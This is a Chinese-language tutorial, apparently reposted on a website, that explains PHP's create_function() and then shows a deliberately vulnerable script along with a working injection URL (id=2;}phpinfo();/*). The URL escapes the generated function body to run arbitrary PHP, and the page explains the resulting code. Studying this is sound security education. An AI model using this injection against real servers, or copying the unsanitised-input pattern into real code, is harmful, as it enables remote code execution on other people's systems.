您好,登錄后才能下訂單哦!
第一部分:介紹php函數 create_function():
string create_function ( string $args , string $code )
string $args 變量部分
string $code 方法代碼部分
舉例:
create_function('$fname','echo $fname."Zhang"')
類似于:
function fT($fname) { echo $fname."Zhang"; }
舉一個官方提供的例子:
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc"; echo $newfunc(2, M_E) . " "; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?>
第二部分:如何利用create_function()代碼注入
測試環境版本:
apache +php 5.2、apache +php 5.3
有問題的代碼:
<?php //02-8.php?id=2;}phpinfo();/* $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "=============================="; ?>
利用方法:
http://localhost/libtest/02-8.php?id=2;}phpinfo();/*
實現原理:
由于id=2;}phpinfo();/*
執行函數為:
源代碼: function fT($a) { echo "test".$a; } 注入后代碼: function fT($a) { echo "test";} phpinfo();/*;//此處為注入代碼。 }
測試效果:
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。